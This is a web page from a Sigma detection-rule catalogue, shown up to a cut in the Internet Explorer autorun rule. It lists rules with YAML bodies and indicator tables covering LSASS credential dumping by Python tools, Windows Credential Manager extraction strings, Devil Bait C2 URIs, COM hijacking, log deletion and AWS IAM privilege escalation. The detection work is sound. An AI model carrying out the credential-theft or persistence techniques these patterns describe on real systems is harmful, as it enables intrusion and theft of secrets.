Detection rules › Sigma

Sigma rules: 2u

RuleSeverity
Antivirus - Relevant File Paths Alerts Signaturehigh
Azure Active Directory Hybrid Health AD FS Service Deletemedium
Backup Catalog Deletedmedium
Bitbucket Global Secret Scanning Rule Deletedmedium
COM Hijacking via TreatAsmedium
Credential Dumping Activity By Python Based Toolhigh
Crontab Enumerationlow
Devil Bait Potential C2 Communication Traffichigh
Dump Credentials from Windows Credential Manager With PowerShellmedium
Enumerate Credentials from Windows Credential Manager With PowerShellmedium
EventLog EVTX File Deletedmedium
FortiGate - User Group Modifiedmedium
IAM Admin Policy Attachedcritical
Internet Explorer Autorun Keys Modificationmedium
Kerberos AS-REP Roasting ticket request detectedhigh
Linux Reverse Shell Indicatorcritical
MSSQL Server Failed Logon From External Networkmedium
New Root Certificate Authority Addedmedium
Potential Goofy Guineapig Backdoor Activityhigh
Potential KDC RC4-HMAC Downgrade Exploit - CVE-2022-37966high
Potentially Suspicious Desktop Background Change Using Reg.EXEmedium
Powershell Inline Execution From A Filemedium
PsExec Default Named Pipelow
PUA - CSExec Default Named Pipemedium
Ruby Inline Command Executionmedium
Service creation (command)high
Setup16.EXE Execution With Custom .Lst Filemedium
ShimCache Flushhigh
Suspicious PowerShell Download - Powershell Scriptmedium
Suspicious Schtasks Schedule Typeshigh
Uncommon Userinit Child Processhigh
User Added To Highly Privileged Grouphigh
Windows Credential Manager Access via VaultCmdmedium
Windows Update Errorinformational

Antivirus - Relevant File Paths Alerts Signature

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems), Arnim Rupp
Source
github.com/SigmaHQ/sigma

Detects an Antivirus alert in a highly relevant file path or with a relevant file name. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Resource Development

Rule Body

title: Antivirus - Relevant File Paths Alerts Signature
id: c9a88268-0047-4824-ba6e-4d81ce0b907c
status: test
description: |
    Detects an Antivirus alert in a highly relevant file path or with a relevant file name.
    This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
references:
    - https://www.nextron-systems.com/?s=antivirus
author: Florian Roth (Nextron Systems), Arnim Rupp
date: 2018-09-09
modified: 2026-06-29
tags:
    - attack.resource-development
    - attack.t1588
logsource:
    category: antivirus
detection:
    selection_path:
        Filename|contains:
            - ':\PerfLogs\'
            - ':\Temp\'
            - ':\Users\Default\'
            - ':\Users\Public\'
            - ':\Windows\'
            - '/www/'
            # - '\Client\'
            - '\inetpub\'
            - '\tsclient\'
            - 'apache'
            - 'nginx'
            - 'tomcat'
            - 'weblogic'
    selection_ext:
        Filename|endswith:
            - '.asax'
            - '.ashx'
            - '.asmx'
            - '.asp'
            - '.aspx'
            - '.bat'
            - '.cfm'
            - '.cgi'
            - '.chm'
            - '.cmd'
            - '.dat'
            - '.ear'
            - '.gif'
            - '.hta'
            - '.jpeg'
            - '.jpg'
            - '.jsp'
            - '.jspx'
            - '.lnk'
            - '.msc'
            - '.php'
            - '.pl'
            - '.png'
            - '.ps1'
            - '.psm1'
            - '.py'
            - '.pyc'
            - '.rb'
            - '.scf'
            - '.sct'
            - '.sh'
            - '.svg'
            - '.txt'
            - '.vbe'
            - '.vbs'
            - '.war'
            - '.wll'
            - '.wsf'
            - '.wsh'
            - '.xll'
            - '.xml'
    condition: 1 of selection_*
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_path

selection_path:
    Filename|contains:
        - ':\PerfLogs\'
        - ':\Temp\'
        - ':\Users\Default\'
        - ':\Users\Public\'
        - ':\Windows\'
        - '/www/'
        - '\inetpub\'
        - '\tsclient\'
        - 'apache'
        - 'nginx'
        - 'tomcat'
        - 'weblogic'

Stage 2: selection_ext

selection_ext:
    Filename|endswith:
        - '.asax'
        - '.ashx'
        - '.asmx'
        - '.asp'
        - '.aspx'
        - '.bat'
        - '.cfm'
        - '.cgi'
        - '.chm'
        - '.cmd'
        - '.dat'
        - '.ear'
        - '.gif'
        - '.hta'
        - '.jpeg'
        - '.jpg'
        - '.jsp'
        - '.jspx'
        - '.lnk'
        - '.msc'
        - '.php'
        - '.pl'
        - '.png'
        - '.ps1'
        - '.psm1'
        - '.py'
        - '.pyc'
        - '.rb'
        - '.scf'
        - '.sct'
        - '.sh'
        - '.svg'
        - '.txt'
        - '.vbe'
        - '.vbs'
        - '.war'
        - '.wll'
        - '.wsf'
        - '.wsh'
        - '.xll'
        - '.xml'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Filenameends_with
  • .asax
  • .ashx
  • .asmx
  • .asp
  • .aspx
  • .bat
  • .cfm
  • .cgi
  • .chm
  • .cmd
  • .dat
  • .ear
  • .gif
  • .hta
  • .jpeg
  • .jpg
  • .jsp
  • .jspx
  • .lnk
  • .msc
  • .php
  • .pl
  • .png
  • .ps1
  • .psm1
  • .py
  • .pyc
  • .rb
  • .scf
  • .sct
  • .sh
  • .svg
  • .txt
  • .vbe
  • .vbs
  • .war
  • .wll
  • .wsf
  • .wsh
  • .xll
  • .xml
field:"Filename" kind:ends_with
Filenamematch
  • /www/
  • :\PerfLogs\
  • :\Temp\
  • :\Users\Default\
  • :\Users\Public\
  • :\Windows\
  • \inetpub\
  • \tsclient\
  • apache
  • nginx
  • tomcat
  • weblogic
field:"Filename" kind:match

Azure Active Directory Hybrid Health AD FS Service Delete

#
Status
test
Severity
medium
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
Source
github.com/SigmaHQ/sigma

This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.

Known False Positives

  • Legitimate AAD Health AD FS service instances being deleted in a tenant

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: Azure Active Directory Hybrid Health AD FS Service Delete
id: 48739819-8230-4ee3-a8ea-e0289d1fb0ff
status: test
description: |
    This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant.
    A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs.
    The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.
references:
    - https://o365blog.com/post/hybridhealthagent/
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC
date: 2021-08-26
modified: 2023-10-11
tags:
    - attack.defense-impairment
    - attack.t1578.003
logsource:
    product: azure
    service: activitylogs
detection:
    selection:
        CategoryValue: 'Administrative'
        ResourceProviderValue: 'Microsoft.ADHybridHealthService'
        ResourceId|contains: 'AdFederationService'
        OperationNameValue: 'Microsoft.ADHybridHealthService/services/delete'
    condition: selection
falsepositives:
    - Legitimate AAD Health AD FS service instances being deleted in a tenant
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    CategoryValue: 'Administrative'
    ResourceProviderValue: 'Microsoft.ADHybridHealthService'
    ResourceId|contains: 'AdFederationService'
    OperationNameValue: 'Microsoft.ADHybridHealthService/services/delete'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CategoryValueeq
  • Administrative corpus 6 (kusto 4, sigma 2)
field:"CategoryValue" kind:eq value:"Administrative"
OperationNameValueeq
  • Microsoft.ADHybridHealthService/services/delete corpus 2 (sigma 1, kusto 1)
field:"azure_ad::operation_name_value" kind:eq value:"Microsoft.ADHybridHealthService/services/delete"
ResourceIdmatch
  • AdFederationService corpus 2 (sigma 2)
field:"ResourceId" kind:match value:"AdFederationService"
ResourceProviderValueeq
  • Microsoft.ADHybridHealthService corpus 6 (kusto 4, sigma 2)
field:"ResourceProviderValue" kind:eq value:"Microsoft.ADHybridHealthService"

Backup Catalog Deleted

#
Status
test
Severity
medium
Author
Florian Roth (Nextron Systems), Tom U. @c_APT_ure (collection)
Source
github.com/SigmaHQ/sigma

Detects backup catalog deletions

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Backup Catalog Deleted
id: 9703792d-fd9a-456d-a672-ff92efe4806a
status: test
description: Detects backup catalog deletions
references:
    - https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx
    - https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100
author: Florian Roth (Nextron Systems), Tom U. @c_APT_ure (collection)
date: 2017-05-12
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1070.004
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 524
        Provider_Name: Microsoft-Windows-Backup
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    EventID: 524
    Provider_Name: Microsoft-Windows-Backup

Indicators

These rows show field, operator, and value matches.

Bitbucket Global Secret Scanning Rule Deleted

#
Status
test
Severity
medium
Author
Muhammad Faisal (@faisalusuf)
Source
github.com/SigmaHQ/sigma

Detects Bitbucket global secret scanning rule deletion activity.

Known False Positives

  • Legitimate user activity.

MITRE ATT&CK Coverage

TacticTechniques
Defense Impairment

Rule Body

title: Bitbucket Global Secret Scanning Rule Deleted
id: e16cf0f0-ee88-4901-bd0b-4c8d13d9ee05
status: test
description: Detects Bitbucket global secret scanning rule deletion activity.
references:
    - https://confluence.atlassian.com/bitbucketserver/audit-log-events-776640423.html
    - https://confluence.atlassian.com/bitbucketserver/secret-scanning-1157471613.html
author: Muhammad Faisal (@faisalusuf)
date: 2024-02-25
tags:
    - attack.defense-impairment
    - attack.t1685
logsource:
    product: bitbucket
    service: audit
    definition: 'Requirements: "Basic" log level is required to receive these audit events.'
detection:
    selection:
        auditType.category: 'Global administration'
        auditType.action: 'Global secret scanning rule deleted'
    condition: selection
falsepositives:
    - Legitimate user activity.
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    auditType.category: 'Global administration'
    auditType.action: 'Global secret scanning rule deleted'

Indicators

These rows show field, operator, and value matches.

COM Hijacking via TreatAs

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Detect modification of TreatAs key to enable "rundll32.exe -sta" command

Known False Positives

  • Legitimate use

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: COM Hijacking via TreatAs
id: dc5c24af-6995-49b2-86eb-a9ff62199e82
status: test
description: Detect modification of TreatAs key to enable "rundll32.exe -sta" command
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md
    - https://www.youtube.com/watch?v=3gz1QmiMhss&t=1251s
author: frack113
date: 2022-08-28
modified: 2025-07-11
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1546.015
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|endswith: 'TreatAs\(Default)'
    filter_office:
        Image|startswith: 'C:\Program Files\Common Files\Microsoft Shared\ClickToRun\'
        Image|endswith: '\OfficeClickToRun.exe'
    filter_office2:
        Image:
            - 'C:\Program Files\Microsoft Office\root\integration\integrator.exe'
            - 'C:\Program Files (x86)\Microsoft Office\root\integration\integrator.exe'
    filter_svchost:
        # Example of target object by svchost
        # TargetObject: HKLM\SOFTWARE\Microsoft\MsixRegistryCompatibility\Package\Microsoft.Paint_11.2208.6.0_x64__8wekyb3d8bbwe\User\SOFTWARE\Classes\CLSID\{0003000A-0000-0000-C000-000000000046}\TreatAs\(Default)
        # TargetObject: HKU\S-1-5-21-1000000000-000000000-000000000-0000_Classes\CLSID\{0003000A-0000-0000-C000-000000000046}\TreatAs\(Default)
        Image: 'C:\Windows\system32\svchost.exe'
    filter_misexec:
        # This FP has been seen during installation/updates
        Image:
            - 'C:\Windows\system32\msiexec.exe'
            - 'C:\Windows\SysWOW64\msiexec.exe'
    condition: selection and not 1 of filter_*
falsepositives:
    - Legitimate use
level: medium
simulation:
    - type: atomic-red-team
      name: COM hijacking via TreatAs
      technique: T1546.015
      atomic_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_*

Stage 1: selection

selection:
    TargetObject|endswith: 'TreatAs\(Default)'

Stage 2: not filter_*

filter_office:
    Image|startswith: 'C:\Program Files\Common Files\Microsoft Shared\ClickToRun\'
    Image|endswith: '\OfficeClickToRun.exe'
filter_office2:
    Image:
        - 'C:\Program Files\Microsoft Office\root\integration\integrator.exe'
        - 'C:\Program Files (x86)\Microsoft Office\root\integration\integrator.exe'
filter_svchost:
    Image: 'C:\Windows\system32\svchost.exe'
filter_misexec:
    Image:
        - 'C:\Windows\system32\msiexec.exe'
        - 'C:\Windows\SysWOW64\msiexec.exe'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
Imageends_with\OfficeClickToRun.exeexcludes:Image field:"Image" value:"\OfficeClickToRun.exe"
Imagestarts_withC:\Program Files\Common Files\Microsoft Shared\ClickToRun\excludes:Image field:"Image" value:"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\"
ImageeqC:\Program Files (x86)\Microsoft Office\root\integration\integrator.exeexcludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft Office\root\integration\integrator.exe"
ImageeqC:\Program Files\Microsoft Office\root\integration\integrator.exeexcludes:Image field:"Image" value:"C:\Program Files\Microsoft Office\root\integration\integrator.exe"
ImageeqC:\Windows\SysWOW64\msiexec.exeexcludes:Image field:"Image" value:"C:\Windows\SysWOW64\msiexec.exe"
ImageeqC:\Windows\system32\msiexec.exeexcludes:Image field:"Image" value:"C:\Windows\system32\msiexec.exe"
ImageeqC:\Windows\system32\svchost.exeexcludes:Image field:"Image" value:"C:\Windows\system32\svchost.exe"

Credential Dumping Activity By Python Based Tool

#
Status
stable
Severity
high
Author
Bhabesh Raj, Jonhnathan Ribeiro
Source
github.com/SigmaHQ/sigma

Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 10: ProcessAccess

Rule Body

title: Credential Dumping Activity By Python Based Tool
id: f8be3e82-46a3-4e4e-ada5-8e538ae8b9c9
related:
    - id: 4b9a8556-99c4-470b-a40c-9c8d02c77ed0
      type: obsolete
    - id: 7186e989-4ed7-4f4e-a656-4674b9e3e48b
      type: obsolete
status: stable
description: Detects LSASS process access for potential credential dumping by a Python-like tool such as LaZagne or Pypykatz.
references:
    - https://twitter.com/bh4b3sh/status/1303674603819081728
    - https://github.com/skelsec/pypykatz
author: Bhabesh Raj, Jonhnathan Ribeiro
date: 2023-11-27
modified: 2023-11-29
tags:
    - attack.credential-access
    - attack.t1003.001
    - attack.s0349
logsource:
    category: process_access
    product: windows
detection:
    selection:
        TargetImage|endswith: '\lsass.exe'
        CallTrace|contains|all:
            - '_ctypes.pyd+'
            - ':\Windows\System32\KERNELBASE.dll+'
            - ':\Windows\SYSTEM32\ntdll.dll+'
        CallTrace|contains:
            - 'python27.dll+'
            - 'python3*.dll+'
        GrantedAccess: '0x1FFFFF'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetImage|endswith: '\lsass.exe'
    CallTrace|contains|all:
        - '_ctypes.pyd+'
        - ':\Windows\System32\KERNELBASE.dll+'
        - ':\Windows\SYSTEM32\ntdll.dll+'
    CallTrace|contains:
        - 'python27.dll+'
        - 'python3*.dll+'
    GrantedAccess: '0x1FFFFF'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CallTracematch
  • :\Windows\SYSTEM32\ntdll.dll+
  • :\Windows\System32\KERNELBASE.dll+
  • _ctypes.pyd+
  • python27.dll+
  • python3*.dll+
field:"CallTrace" kind:match
GrantedAccesseq
  • 0x1FFFFF corpus 9 (sigma 7, splunk 1, kusto 1)
field:"GrantedAccess" kind:eq value:"0x1FFFFF"
TargetImageends_with
  • \lsass.exe corpus 17 (sigma 16, splunk 1)
field:"TargetImage" kind:ends_with value:"\lsass.exe"

Crontab Enumeration

#
Status
test
Severity
low
Author
Joseliyo Sanchez, @Joseliyo_Jstnk
Source
github.com/SigmaHQ/sigma

Detects usage of crontab to list the tasks of the user

Known False Positives

  • Legitimate use of crontab

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Crontab Enumeration
id: 403ed92c-b7ec-4edd-9947-5b535ee12d46
status: test
description: Detects usage of crontab to list the tasks of the user
references:
    - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
    - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
    - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
    - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
author: Joseliyo Sanchez, @Joseliyo_Jstnk
date: 2023-06-02
tags:
    - attack.discovery
    - attack.t1007
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        Image|endswith: '/crontab'
        CommandLine|contains: ' -l'
    condition: selection
falsepositives:
    - Legitimate use of crontab
level: low

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '/crontab'
    CommandLine|contains: ' -l'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -l corpus 3 (sigma 2, splunk 1)
field:"CommandLine" kind:match value:" -l"
Imageends_with
  • /crontab corpus 2 (sigma 2)
field:"Image" kind:ends_with value:"/crontab"

Devil Bait Potential C2 Communication Traffic

#
Status
test
Severity
high
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects potential C2 communication related to Devil Bait malware

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Command & ControlNo specific technique

Rule Body

title: Devil Bait Potential C2 Communication Traffic
id: 514c50c9-373a-46e5-9012-f0327c526c8f
status: test
description: Detects potential C2 communication related to Devil Bait malware
references:
    - https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-15
modified: 2023-08-23
tags:
    - attack.command-and-control
    - detection.emerging-threats
logsource:
    category: proxy
detection:
    selection:
        cs-method: 'GET'
        cs-uri|contains|all:
            - '/cross.php?op='
            - '&dt='
            - '&uid='
    condition: selection
falsepositives:
    - Unlikely
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    cs-method: 'GET'
    cs-uri|contains|all:
        - '/cross.php?op='
        - '&dt='
        - '&uid='

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
cs-methodeq
  • GET
field:"cs-method" kind:eq value:"GET"
cs-urimatch
  • &dt=
  • &uid=
  • /cross.php?op=
field:"cs-uri" kind:match

Dump Credentials from Windows Credential Manager With PowerShell

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: Dump Credentials from Windows Credential Manager With PowerShell
id: 99c49d9c-34ea-45f7-84a7-4751ae6b2cbc
status: test
description: |
    Adversaries may search for common password storage locations to obtain user credentials.
    Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md
author: frack113
date: 2021-12-20
modified: 2022-12-25
tags:
    - attack.credential-access
    - attack.t1555
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_kiddie:
        ScriptBlockText|contains:
            - 'Get-PasswordVaultCredentials'
            - 'Get-CredManCreds'
    selection_rename_Password:
        ScriptBlockText|contains|all:
            - 'New-Object'
            - 'Windows.Security.Credentials.PasswordVault'
    selection_rename_credman:
        ScriptBlockText|contains|all:
            - 'New-Object'
            - 'Microsoft.CSharp.CSharpCodeProvider'
            - '[System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())'
            - 'Collections.ArrayList'
            - 'System.CodeDom.Compiler.CompilerParameters'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: medium
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager/info.yml

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_kiddie

selection_kiddie:
    ScriptBlockText|contains:
        - 'Get-PasswordVaultCredentials'
        - 'Get-CredManCreds'

Stage 2: selection_rename_Password

selection_rename_Password:
    ScriptBlockText|contains|all:
        - 'New-Object'
        - 'Windows.Security.Credentials.PasswordVault'

Stage 3: selection_rename_credman

selection_rename_credman:
    ScriptBlockText|contains|all:
        - 'New-Object'
        - 'Microsoft.CSharp.CSharpCodeProvider'
        - '[System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())'
        - 'Collections.ArrayList'
        - 'System.CodeDom.Compiler.CompilerParameters'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • Collections.ArrayList
  • Get-CredManCreds
  • Get-PasswordVaultCredentials
  • Microsoft.CSharp.CSharpCodeProvider
  • New-Object corpus 8 (sigma 7, splunk 1)
  • System.CodeDom.Compiler.CompilerParameters
  • Windows.Security.Credentials.PasswordVault corpus 2 (sigma 2)
  • [System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())
field:"ScriptBlockText" kind:match

Enumerate Credentials from Windows Credential Manager With PowerShell

#
Status
test
Severity
medium
Author
frack113
Source
github.com/SigmaHQ/sigma

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

Rule Body

title: Enumerate Credentials from Windows Credential Manager With PowerShell
id: 603c6630-5225-49c1-8047-26c964553e0e
status: test
description: |
    Adversaries may search for common password storage locations to obtain user credentials.
    Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md
author: frack113
date: 2021-12-20
modified: 2022-12-25
tags:
    - attack.credential-access
    - attack.t1555
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_cmd:
        ScriptBlockText|contains|all:
            - vaultcmd
            - '/listcreds:'
    selection_option:
        ScriptBlockText|contains:
            - 'Windows Credentials'
            - 'Web Credentials'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_cmd

selection_cmd:
    ScriptBlockText|contains|all:
        - vaultcmd
        - '/listcreds:'

Stage 2: selection_option

selection_option:
    ScriptBlockText|contains:
        - 'Windows Credentials'
        - 'Web Credentials'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ScriptBlockTextmatch
  • /listcreds:
  • Web Credentials
  • Windows Credentials
  • vaultcmd
field:"ScriptBlockText" kind:match

EventLog EVTX File Deleted

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Telemetry Coverage

Rule Body

title: EventLog EVTX File Deleted
id: 63c779ba-f638-40a0-a593-ddd45e8b1ddc
status: test
description: Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence
references:
    - Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-15
tags:
    - attack.stealth
    - attack.t1070
logsource:
    category: file_delete
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Windows\System32\winevt\Logs\'
        TargetFilename|endswith: '.evtx'
    condition: selection
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetFilename|startswith: 'C:\Windows\System32\winevt\Logs\'
    TargetFilename|endswith: '.evtx'

Indicators

These rows show field, operator, and value matches.

FortiGate - User Group Modified

#
Status
experimental
Severity
medium
Author
Marco Pedrinazzi (@pedrinazziM) (InTheCyber)
Source
github.com/SigmaHQ/sigma

Detects the modification of a user group on a Fortinet FortiGate Firewall. The group could be used to grant VPN access to a network.

Known False Positives

  • A group can be modified for legitimate purposes.

MITRE ATT&CK Coverage

TacticTechniques
PersistenceNo specific technique
Privilege EscalationNo specific technique

Rule Body

title: FortiGate - User Group Modified
id: 69ffc84e-8b1a-4024-8351-e018f66b8275
status: experimental
description: |
    Detects the modification of a user group on a Fortinet FortiGate Firewall.
    The group could be used to grant VPN access to a network.
references:
    - https://www.fortiguard.com/psirt/FG-IR-24-535
    - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
    - https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/328136827/config-user-group
    - https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
author: Marco Pedrinazzi (@pedrinazziM) (InTheCyber)
date: 2025-11-01
tags:
    - attack.persistence
    - attack.privilege-escalation
    # - attack.t1098.007
logsource:
    product: fortigate
    service: event
detection:
    selection:
        action: 'Edit'
        cfgpath: 'user.group'
    condition: selection
falsepositives:
    - A group can be modified for legitimate purposes.
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    action: 'Edit'
    cfgpath: 'user.group'

Indicators

These rows show field, operator, and value matches.

IAM Admin Policy Attached

#
Status
test
Severity
critical
Author
nishikawaakira (@nishikawaakira)
Source
github.com/Yamato-Security/suzaku-rules

Detects when an administrative IAM policy (AdministratorAccess, PowerUserAccess, or IAMFullAccess) is attached to a user, group, or role. This is a privilege escalation technique where an attacker elevates permissions of a compromised or newly created principal to gain full control of the AWS account.

Known False Positives

  • Legitimate IAM administrators granting access during onboarding
  • Infrastructure-as-code deployments (Terraform, CloudFormation)

MITRE ATT&CK Coverage

Telemetry Coverage

Rules Detecting the Same Action

These rules filter on the same operation.

Rule Body

title: IAM Admin Policy Attached
id: 0a1b2c3d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: test
description: |
    Detects when an administrative IAM policy (AdministratorAccess,
    PowerUserAccess, or IAMFullAccess) is attached to a user, group, or role.
    This is a privilege escalation technique where an attacker elevates
    permissions of a compromised or newly created principal to gain full
    control of the AWS account.
references:
    - https://attack.mitre.org/techniques/T1098/003/
    - https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachUserPolicy.html
    - https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/
author: nishikawaakira (@nishikawaakira)
date: 2026-05-03
modified: 2026-05-29
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098.003
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: iam.amazonaws.com
        eventName:
            - AttachUserPolicy
            - AttachGroupPolicy
            - AttachRolePolicy
    selection_admin:
        requestParameters.policyArn|contains:
            - AdministratorAccess
            - PowerUserAccess
            - IAMFullAccess
    filter:
        errorCode|exists: true
    condition: selection and selection_admin and not filter
falsepositives:
    - Legitimate IAM administrators granting access during onboarding
    - Infrastructure-as-code deployments (Terraform, CloudFormation)
level: critical

Stages and Predicates

Stage 0: condition

selection and selection_admin and not filter

Stage 1: selection

selection:
    eventSource: iam.amazonaws.com
    eventName:
        - AttachUserPolicy
        - AttachGroupPolicy
        - AttachRolePolicy

Stage 2: selection_admin

selection_admin:
    requestParameters.policyArn|contains:
        - AdministratorAccess
        - PowerUserAccess
        - IAMFullAccess

Stage 3: not filter

filter:
    errorCode|exists: true

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
eventNameeq
  • AttachGroupPolicy corpus 2 (sigma 2)
  • AttachRolePolicy corpus 2 (sigma 2)
  • AttachUserPolicy corpus 2 (sigma 2)
field:"aws::eventName" kind:eq
eventSourceeq
  • iam.amazonaws.com corpus 22 (sigma 18, splunk 4)
field:"aws::eventSource" kind:eq value:"iam.amazonaws.com"
requestParameters.policyArnmatch
  • AdministratorAccess
  • IAMFullAccess
  • PowerUserAccess
field:"requestParameters.policyArn" kind:match

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
errorCodeis_not_null(no value, null check)excludes:errorCode

Internet Explorer Autorun Keys Modification

#
Status
test
Severity
medium
Author
Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)
Source
github.com/SigmaHQ/sigma

Detects modification of autostart extensibility point (ASEP) in registry.

Known False Positives

  • Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason
  • Legitimate administrator sets up autorun keys for legitimate reason

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Internet Explorer Autorun Keys Modification
id: a80f662f-022f-4429-9b8c-b1a41aaa6688
related:
    - id: 17f878b8-9968-4578-b814-c4217fc5768c
      type: obsolete
status: test
description: Detects modification of autostart extensibility point (ASEP) in registry.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md
    - https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns
